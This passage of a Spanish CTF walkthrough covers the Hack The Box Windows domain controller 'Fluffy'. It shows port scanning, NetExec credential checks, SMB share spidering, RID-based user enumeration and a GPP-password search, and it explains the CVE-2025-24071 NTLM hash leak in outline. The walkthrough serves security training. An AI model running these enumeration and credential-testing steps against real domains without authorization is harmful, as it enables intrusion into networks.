> For the complete documentation index, see [llms.txt](https://securitylayer.gitbook.io/securitylayer/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://securitylayer.gitbook.io/securitylayer/maquinas-y-modulos-de-htb/windows-easy/fluffy.md).

# Fluffy

<details>

<summary><strong>¯\_( ͡° ͜ʖ ͡°)_/¯</strong> <em><strong>Machine info</strong></em></summary>

El compromiso de la infraestructura comienza mediante un vector de <kbd>Initial Access</kbd> basado en la explotación de la confianza del usuario y la manipulación de metadatos de archivos. La vulnerabilidad central en esta fase es el <kbd>CVE-2025-24071</kbd>, una falla de ***spoofing*** en **Windows File Explorer** que permite a un atacante con acceso de escritura en un recurso compartido (**SMB**) **forzar una autenticación NTLM hacia un servidor controlado por el adversario**. Mediante el uso de archivos <kbd>.library-ms</kbd> maliciosos dentro de un **archivo ZIP**, se logra capturar el hash de un usuario con mayores privilegios en la red, facilitando un ataque de **Adversary-in-the-Middle (AiTM)** para la obtención de credenciales en texto claro tras un proceso de *cracking* offline.

Una vez obtenidas las credenciales de un operador con capacidades de gestión, la intrusión continua hacia una fase de movimiento lateral y escalada de privilegios internos enfocada en el abuso de **Listas de Control de Acceso (ACL)**. La superficie de ataque se expande al identificar permisos de <kbd>GenericAll</kbd> y <kbd>GenericWrite</kbd> sobre grupos de **cuentas de servicio**, permitiendo la implementación de **Shadow Credentials**. Esta técnica permite inyectar el atributo <kbd>msDS-KeyCredentialLink</kbd> en objetos de usuario específicos (como <kbd>winrm\_svc</kbd> y <kbd>ca\_svc</kbd>), permitiendo la obtención de un **Ticket Granting Ticket (TGT)** y el **hash NT** correspondiente sin necesidad de conocer la contraseña original, lo que garantiza persistencia y acceso remoto a través de servicios de gestión de Windows.

La fase final de **Privilege Escalation** explota la infraestructura de servicios de certificados de **Active Directory (AD CS)** mediante el vector <kbd>ESC16</kbd>. Esta vulnerabilidad ocurre cuando la Autoridad de Certificación (CA) tiene deshabilitada la extensión de seguridad <kbd>szOID\_NTDS\_CA\_SECURITY\_EXT</kbd>, lo que permite a un atacante modificar el ***User Principal Name*****&#x20;(UPN)** de una cuenta bajo su control para suplantar la identidad de un administrador de dominio. Al solicitar un certificado con un UPN falsificado y posteriormente restaurar el atributo original, el operador logra autenticarse como <kbd>Administrator</kbd>, obteniendo el control total sobre el Domain Controller y completando el ciclo de vida del ataque en el entorno de Active Directory.

<kbd>CVE-2025-24071</kbd> (Windows File Explorer Spoofing): Una vulnerabilidad crítica que permite la fuga de hashes NTLM. Se basa en cómo el explorador de archivos procesa archivos de definición de librerías (<kbd>.library-ms</kbd>) dentro de contenedores comprimidos, automatizando la conexión a servidores remotos.

</details>

### *Enumeración de puertos/servicios* <a href="#enumeracion-de-puertos-servicios" id="enumeracion-de-puertos-servicios"></a>

{% code expandable="true" %}

```viml
❯ nmap -Pn -p- -sCV --open -v -n 10.129.232.88
```

{% endcode %}

<details>

<summary>📌 <em><strong>Parámetros</strong></em> </summary>

* `-Pn` → Desactiva el descubrimiento por ping. Esto salta la fase de comprobación inicial (el Host Discovery) y pasa directo al escaneo de puertos.
* `-p-` → Escanea todos los puertos (1-65535).
* **`sCV`**:
  * `-sC` → **Ejecuta scripts de detección predeterminados** → Usa los scripts de `nmap` ubicados en `/usr/share/nmap/scripts/`, los cuales buscan información adicional en los puertos abiertos.
  * `-sV` → **Detección de versiones** → Intenta identificar el software y su versión en los puertos abiertos.
* `-n` → **No resuelve nombres de dominio** (reduce el tiempo del escaneo).
* `--open` → **Muestra solo puertos abiertos** → Filtra la salida para no mostrar puertos cerrados o filtrados.
* `-v` → **Modo verbose** → Muestra más detalles sobre el progreso del escaneo.

</details>

Resultado:

{% code expandable="true" %}

```viml
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-30 05:05:45Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
|_ssl-date: 2026-03-30T05:07:21+00:00; +6h59m03s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-30T05:07:22+00:00; +6h59m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-30T05:07:21+00:00; +6h59m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-30T05:07:22+00:00; +6h59m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after:  2026-04-17T16:04:17
| MD5:   2765:a68f:4883:dc6d:0969:5d0d:3666:c880
|_SHA-1: 72f3:1d5f:e6f3:b8ab:6b0e:dd77:5414:0d0c:abfe:e681
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
49712/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC
49759/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-03-30T05:06:43
|_  start_date: N/A
|_clock-skew: mean: 6h59m02s, deviation: 0s, median: 6h59m02s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
```

{% endcode %}

En resumen:

{% code expandable="true" %}

```vim
| Puerto | Estado | Servicio      | Protocolo | Versión / Detalles                               |
| :----- | :----- | :------------ | :-------- | :----------------------------------------------- |
| 53     | open   | domain        | tcp       | Simple DNS Plus                                  |
| 88     | open   | kerberos-sec  | tcp       | Microsoft Windows Kerberos                       |
| 139    | open   | netbios-ssn   | tcp       | Microsoft Windows netbios-ssn                    |
| 389    | open   | ldap          | tcp       | Microsoft Windows Active Directory LDAP          |
| 445    | open   | microsoft-ds  | tcp       | SMB (Direct Host)                                |
| 464    | open   | kpasswd5      | tcp       | Kerberos Password Change Service                 |
| 593    | open   | ncacn_http    | tcp       | Microsoft Windows RPC over HTTP 1.0              |
| 636    | open   | ssl/ldap      | tcp       | Microsoft Windows Active Directory LDAP (SSL)    |
| 3268   | open   | ldap          | tcp       | Microsoft Windows Active Directory LDAP (Global) |
| 3269   | open   | ssl/ldap      | tcp       | Microsoft Windows Active Directory LDAP (SSL)    |
| 5985   | open   | http          | tcp       | WinRM (Remote Management)                        |
| 9389   | open   | mc-nmf        | tcp       | .NET Message Framing                             |
| 49667  | open   | msrpc         | tcp       | Puertos dinámicos de RPC                         |
```

{% endcode %}

Algunos de los elementos que nos reveló el escaneo de nmap y que nos pueden ayudar para resolver el ctf son los siguientes:

* **Identificación del Objetivo:** La presencia simultánea de DNS (53), Kerberos (88), LDAP (389) y SMB (445) confirma que el objetivo es un Domain Controller (DC).
* **Vector de Acceso Inicial:** El servicio **WinRM (5985)** está habilitado, lo que sugiere que el objetivo final de nuestra obtención de credenciales será ganar una shell interactiva por esta vía.
* **FQDN y Estructura de Dominio:** El nombre del equipo es <kbd>DC01</kbd> y el dominio es <kbd>fluffy.htb</kbd>. Estos valores son obligatorios para ataques de Kerberos y resolución de nombres.
* **Infraestructura de Certificados (AD CS):** El certificado SSL revela una Autoridad de Certificación (CA) llamada <kbd>fluffy-DC01-CA</kbd>. Esto es un indicador directo de que el entorno es vulnerable a ataques de certificados (como el ESC16 mencionado en la documentación).
* **Sincronización de Tiempo:** El escaneo detecta un *clock-skew* importante. Kerberos es extremadamente sensible al tiempo; si tu reloj local no está sincronizado con el del DC los ataques de tickets fallarán.
* **Exposición de SMB:** El puerto 445 está abierto, lo que nos permitirá buscar recursos compartidos (shares).

Primero vamos a agregar el nombre de dominio al `/etc/hosts` y luego sincronizaremos el reloj de nuestro equipo con el del DC

<pre class="language-vim" data-expandable="true"><code class="lang-vim"><strong>❯ echo "10.129.232.88    fluffy.htb DC01.fluffy.htb" >> /etc/hosts
</strong>
<strong>❯ sudo ntpdate dc01.fluffy.htb
</strong>2026-03-30 03:10:33.692408 (-0300) +25143.129063 +/- 0.084584 dc01.fluffy.htb 10.129.232.88 s1 no-leap
</code></pre>

<details>

<summary>📌 <em><strong>Nota</strong></em></summary>

Si no encontramos nombres de dominio, podemos usar nxc para que los genere de la siguiente manera:

* `nxc smb 10.129.232.88` → Inicia el módulo de SMB de NetExec contra el objetivo para extraer metadatos del sistema (nombre del host, dominio, versión de OS).
* `--generate-hosts-file` → Este parámetro le dice a la herramienta que tome la información recolectada.
* `hosts` → Define el archivo destino

{% code expandable="true" %}

```viml
❯ sudo nxc smb 10.129.232.88 --generate-hosts-file hosts
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True

❯ cat hosts
───────┬────────────────────────────────────────────────────────────────────────────
       │ File: hosts
   1   │ 10.129.232.88     DC01.fluffy.htb fluffy.htb DC01
```

{% endcode %}

</details>

### *Enumerando recursos del SMB con NXC* <a href="#enumeracion-de-puertos-servicios" id="enumeracion-de-puertos-servicios"></a>

Para este CTF nos proporcionaron las siguientes credenciales de acceso, asumiendo que ya existe una brecha de seguridad: \
User: `j.fleischman` \
Password: `J0elTHEM4n1990!`

<details>

<summary>📌 <em><strong>Nota: consultando las password policy y enumerando con enum4linux-ng</strong></em></summary>

Aprovechando que tenemos credenciales para autenticarnos de forma legítima podemos consultar la password policy del sistema con el parámetro `--pass-pol` de **netexec.** Este parámetro consulta el objeto de política de dominio (**Domain Policy**) a través del protocolo **SAMR (Security Account Manager Remote)**. Es una consulta administrativa legítima que un usuario autenticado puede realizar para conocer las restricciones de seguridad impuestas a su propia cuenta y a las de sus compañeros.

{% code expandable="true" %}

```vimscript
❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --pass-pol
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
SMB         10.129.232.88   445    DC01             [+] Dumping password info for domain: FLUFFY
SMB         10.129.232.88   445    DC01             Minimum password length: 7
SMB         10.129.232.88   445    DC01             Password history length: 24
SMB         10.129.232.88   445    DC01             Maximum password age: 41 days 23 hours 53 minutes 
SMB         10.129.232.88   445    DC01             
SMB         10.129.232.88   445    DC01             Password Complexity Flags: 000000
SMB         10.129.232.88   445    DC01                 Domain Refuse Password Change: 0
SMB         10.129.232.88   445    DC01                 Domain Password Store Cleartext: 0
SMB         10.129.232.88   445    DC01                 Domain Password Lockout Admins: 0
SMB         10.129.232.88   445    DC01                 Domain Password No Clear Change: 0
SMB         10.129.232.88   445    DC01                 Domain Password No Anon Change: 0
SMB         10.129.232.88   445    DC01                 Domain Password Complex: 0
SMB         10.129.232.88   445    DC01             
SMB         10.129.232.88   445    DC01             Minimum password age: 1 day 4 minutes 
SMB         10.129.232.88   445    DC01             Reset Account Lockout Counter: 10 minutes 
SMB         10.129.232.88   445    DC01             Locked Account Duration: 10 minutes 
SMB         10.129.232.88   445    DC01             Account Lockout Threshold: None
SMB         10.129.232.88   445    DC01             Forced Log off Time: Not Set
```

{% endcode %}

Otra tool muy poderosa para enumerar recursos del SMB es [**enum4linux-ng**](/securitylayer/pentesting-tools/tools/enum4linux-enum4linux-ng.md) y el comando para esta maquina seria el siguiente:

{% code expandable="true" %}

```vim
❯ enum4linux-ng -A fluffy.htb -u DC01/j.fleischman -p 'J0elTHEM4n1990!'
```

{% endcode %}

</details>

Siempre que contamos con credenciales lo recomendable es testear a que servicios nos permite conectar/logear, de esta forma tendremos una idea de por donde continuar el ataque/intrusión. Para automatizar esta tarea diseñe un script en bash que lo podes obtener del siguiente repositorio: [**service\_validation.sh**](https://github.com/SecurityLayer404/service_validation)

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ ./service_validation.sh 10.129.232.88 j.fleischman 'J0elTHEM4n1990!'
</strong>[*] Probando credenciales contra 10.129.232.88 con usuario 'j.fleischman'...

--- Probando smb ---
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 

--- Probando ldap ---
LDAP        10.129.232.88   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.232.88   389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 

--- Probando winrm ---
WINRM       10.129.232.88   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) 
WINRM       10.129.232.88   5985   DC01             [-] fluffy.htb\j.fleischman:J0elTHEM4n1990!

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---

--- Probando ftp ---

--- Probando ssh ---
</code></pre>

Los resultados del script anterior nos indica que podemos acceder al smb, por ende vamos a listar esos recursos y verificar que permisos tenemos configurados usando [**nxc**](/securitylayer/pentesting-tools/tools/nxc.md)

```viml
❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
SMB         10.129.232.88   445    DC01             [*] Enumerated shares
SMB         10.129.232.88   445    DC01             Share           Permissions     Remark
SMB         10.129.232.88   445    DC01             -----           -----------     ------
SMB         10.129.232.88   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.232.88   445    DC01             C$                              Default share
SMB         10.129.232.88   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.232.88   445    DC01             IT              READ,WRITE      
SMB         10.129.232.88   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.232.88   445    DC01             SYSVOL          READ            Logon server share
```

<details>

<summary>📌 <em><strong>Desglose de parámetros</strong></em></summary>

* `fluffy.htb` → especifica el dominio o dirección IP del objetivo contra el cual se ejecutará la acción.
* `-u j.fleischman` → indicamos el nombre de usuario (`j.fleischman`) para la autenticación.
* `-p 'J0elTHEM4n1990!'` → indicamos la contraseña para validar el acceso.
* `--shares` → enumera los recursos compartidos del servidor y verifica los permisos `(READ/WRITE)` del usuario proporcionado.&#x20;

Otros parámetros que podemos usar para extraer más información del objetivo con nxc:

* `--users` → intenta listar todos los usuarios del dominio a través de consultas RPC, lo cual ayuda a mapear posibles objetivos para próximos movimientos laterales.
* `--rid-brute` → ejecuta una fuerza bruta de Identificadores Relativos (RID). Esta técnica permite descubrir cuentas de usuario, grupos y alias consultando secuencialmente los IDs del sistema, lo que puede revelar cuentas que no aparecen en listas estándar.
* `--disks` → intenta enumerar las unidades de disco físicas y particiones montadas en el sistema objetivo.

</details>

### ***User enumeration con lookupsid\_enum.sh*** <a href="#user-enumeration-con-imapcket-lookupsid" id="user-enumeration-con-imapcket-lookupsid"></a>

Los resultados de la enumeración del smb nos muestran que tenemos permisos de lectura sobre el recurso `IPC$`, este recurso es clave porque nos permite enumerar más objetos del dominio con herramientas como [***impacket-lookupsid***](/securitylayer/pentesting-tools/tools/suite-impacket.md#impacket-lookupsid)

¿Qué es el `IPC$`?

* `IPC$` (**Inter-Process Communication share**) es una carpeta especial que **permite conexiones remotas a funciones administrativas**, como autenticación, sesión de servicios, etc.
* No contiene archivos visibles, pero sí podemos conectarnos a `IPC$`, **significa que el usuario tiene algún tipo de privilegio en el dominio**, como para usar llamadas **RPC**.
* Aunque no tengamos acceso a otras carpetas de archivos, **acceder a `IPC$` ya es suficiente para enumerar información sensible**, como usuarios y grupos, usando RPC.

Ahora vamos a usar un script que diseñe en bash que implementa la enumeración de usuarios con `lookupsid` pero también parcea el output y nos deja una lista/diccionario con los nombres de los usuarios en limpio para un posterior ataque. El script lo podes descargar del siguiente repositorio: [**lookupsid\_enum.sh**](https://github.com/SecurityLayer404/lookupsid_enum)

```vim
❯ ./lookupsid_enum.sh 10.129.232.88 'j.fleischman' 'J0elTHEM4n1990!' fluffy.htb
[*] Ejecutando impacket-lookupsid contra 10.129.232.88 con fluffy.htb/j.fleischman...
[*] Extrayendo usuarios válidos (SidTypeUser)...
[+] Usuarios extraídos:
Administrator
ca_svc
DC01$
Guest
j.coffey
j.fleischman
krbtgt
ldap_svc
p.agila
winrm_svc
[+] Archivo generado: users_enum.txt
```

Ya tenemos un diccionario con usuarios, ahora nos falta buscar alguna contraseña filtrada para hacer un password spraying. Hay un recurso que no es común en **SMB** y es el que aparece como `IT`, probablemente encontremos algo expuesto allí.

### ***Reconocimiento automatizado (spidering) con nxc***

nxc nos permite enumerar de forma recursiva el contenido de cualquier directorio donde tengamos permisos de lectura, esta es una forma rápida y optimizada de buscar información expuesta, en este caso lo aplicaremos sobre el directorio `IT`, pero lo podríamos aplicar también para los directorios de `SYSVOL` y `NETLOGON` para buscar por ejemplo el `Groups.xml`  como nos pasó en la máquina [***Active***](/securitylayer/maquinas-y-modulos-de-htb/windows-easy/active.md) &#x20;

<pre class="language-viml" data-expandable="true"><code class="lang-viml"><strong>❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --spider IT --regex "."
</strong>SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
SMB         10.129.232.88   445    DC01             [*] Spidering .
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/.. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Everything-1.4.1.1026.x64 [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Everything-1.4.1.1026.x64.zip [lastm:'2025-05-16 11:51' size:1827464]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58 [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58.zip [lastm:'2025-05-16 11:51' size:3225346]
<strong>SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Upgrade_Notice.pdf [lastm:'2025-05-17 11:31' size:169963]
</strong>SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Everything-1.4.1.1026.x64/. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Everything-1.4.1.1026.x64/.. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Everything-1.4.1.1026.x64/everything.exe [lastm:'2025-05-16 11:51' size:2265104]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/Everything-1.4.1.1026.x64/Everything.lng [lastm:'2025-05-16 11:51' size:958342]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/.. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/KeePass.chm [lastm:'2025-05-16 11:51' size:768478]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/KeePass.exe [lastm:'2025-05-16 11:51' size:3305824]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/KeePass.exe.config [lastm:'2025-05-16 11:51' size:763]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/KeePass.XmlSerializers.dll [lastm:'2025-05-16 11:51' size:463264]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/KeePassLibC32.dll [lastm:'2025-05-16 11:51' size:609136]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/KeePassLibC64.dll [lastm:'2025-05-16 11:51' size:785776]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/Languages [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/License.txt [lastm:'2025-05-16 11:51' size:18710]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/Plugins [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/ShInstUtil.exe [lastm:'2025-05-16 11:51' size:97128]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/Languages/. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/Languages/.. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/Plugins/. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/Plugins/.. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/.. [dir]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/KDBX_Common.xsl [lastm:'2025-05-16 11:51' size:2732]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/KDBX_DetailsFull_HTML.xsl [lastm:'2025-05-16 11:51' size:3556]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/KDBX_DetailsLight_HTML.xsl [lastm:'2025-05-16 11:51' size:3098]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/KDBX_PasswordsOnly_TXT.xsl [lastm:'2025-05-16 11:51' size:919]
SMB         10.129.232.88   445    DC01             //10.129.232.88/IT/KeePass-2.58/XSL/KDBX_Tabular_HTML.xsl [lastm:'2025-05-16 11:51' size:3100]
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `fluffy.htb` → El FQDN (Target) del controlador de dominio.
* `-u 'j.fleischman' -p 'J0elTHEM4n1990!'` → Credenciales del usuario comprometido
* `--spider IT` → Activa el módulo de "araña" para recorrer recursivamente el recurso compartido IT.
* `--regex "."` → Filtro de búsqueda. El punto `.` en expresiones regulares significa "cualquier carácter", lo que fuerza a la herramienta a listar todos los archivos y carpetas sin excepción.

</details>

De todos los archivos enumerados el que nos llama la atención es el siguiente: `Upgrade_Notice.pdf`\
Lo vamos a descargar para analizarlo de forma local:&#x20;

<pre class="language-viml" data-expandable="true"><code class="lang-viml">┌──(root㉿kali)-[/home/securitylayer/Documentos/HTB/Fluffy]
<strong>└─# nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --share IT --get-file "Upgrade_Notice.pdf" "Upgrade_Notice.pdf"
</strong>SMB         10.129.232.88   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
SMB         10.129.232.88   445    DC01             [*] Copying "Upgrade_Notice.pdf" to "Upgrade_Notice.pdf"
SMB         10.129.232.88   445    DC01             [+] File "Upgrade_Notice.pdf" was downloaded to "Upgrade_Notice.pdf"
</code></pre>

<details>

<summary>📌 <em><strong>Parámetros</strong></em></summary>

* `--share IT` → Especifica el recurso compartido exacto con el que queremos interactuar.
* `--get-file` → Indica una operación de descarga (GET).
* `"Upgrade_Notice.pdf" "Upgrade_Notice.pdf"` → El primer argumento es la ruta del archivo en el servidor; el segundo es el nombre con el que se guardará en nuestro equipo.

</details>

<details>

<summary>📌 <em><strong>Nota: otros comandos para enumerar con nxc</strong></em></summary>

Para enumerar el directorio `SYSVOL` de forma recursiva

{% code expandable="true" %}

```vim
 ❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --spider SYSVOL --regex "."
```

{% endcode %}

Para buscar la `gpp_password` dentro de `SYSVOL`

{% code expandable="true" %}

```viml
❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M gpp_password
```

{% endcode %}

Para buscar archivos de script y texto dentro de `NETLOGON`

{% code expandable="true" %}

```vim
❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --spider NETLOGON --regex "\.(bat|ps1|vbs|txt)$"
```

{% endcode %}

Para generar un archivo `JSON` con toda la estructura de los recursos compartidos y descargarla para un posterior analisis

{% code expandable="true" %}

```vim
❯ nxc smb fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M spider_plus
```

{% endcode %}

</details>

Al inspeccionar el `.pdf` encontre la siguiente información:&#x20;

"*Departamento de TI:&#x20;Se han divulgado públicamente múltiples **vulnerabilidades de alto impacto**. Se instruye a todos los administradores a&#x20;programar una franja horaria de mantenimiento para actualizar todos los sistemas de acuerdo con&#x20;la política de seguridad interna.&#x20;Las actualizaciones deben completarse dentro del plazo establecido para reducir el riesgo de&#x20;explotación y mantener el cumplimiento de los requisitos de parcheo.*"

Y más abajo muestran cuales son los CVE de las vulnerabilidades a parchar. De todas estas vulnerabilidades la que vamos a explotar es la `CVE-2025-24071`&#x20;

<details>

<summary>📌<kbd>CVE-2025-24071 (Windows File Explorer Spoofing Vulnerability)</kbd></summary>

El `CVE-2025-24071` es una vulnerabilidad de spoofing en el Explorador de Archivos de Windows. Este fallo permite a un adversario capturar el hash NTLM de una víctima mediante la interacción con un archivo comprimido (`.zip`) que contiene un archivo de definición de biblioteca de Windows, conocido como `.library-ms`. A diferencia de otros vectores que requieren la ejecución de binarios, esta vulnerabilidad se dispara mediante acciones comunes de gestión de archivos.

Mecanismo de Explotación:

La explotación se basa en la manipulación del esquema XML que define las bibliotecas de Windows. Los pasos críticos de la operación son:

* Creación del exploit: Se genera un archivo `.library-ms` malicioso que contiene un puntero a una ruta *UNC (Universal Naming Convention)* dirigida a una dirección IP controlada por el atacante.
* Empaquetado: Este archivo se incluye dentro de un archivo `.zip` para evadir ciertas protecciones de seguridad y facilitar su distribución en recursos compartidos.
* Disparador (Trigger): Cuando el usuario extrae el contenido del archivo `.zip` o simplemente navega por él, el Explorador de Archivos intenta resolver automáticamente la ubicación remota especificada en el archivo `.library-ms`
* Fuga de Credenciales: Durante el intento de conexión, Windows inicia un proceso de *autenticación NTLM automático* hacia la máquina del atacante, enviando el hash *NTLMv2* del usuario actual.

Para más información sobre el funcionamiento de NTLM recomiendo el siguiente artículo:

#### [LM, NTLM y NTLMv2 bajo la lupa: cómo atacarlo y cómo defenderlo](https://medium.com/@securitylayer/lm-ntlm-y-ntlmv2-bajo-la-lupa-c%C3%B3mo-atacarlo-y-c%C3%B3mo-defenderlo-92eea5940d7b) <a href="#id-027d" id="id-027d"></a>

</details>

### ***Forced Authentication***

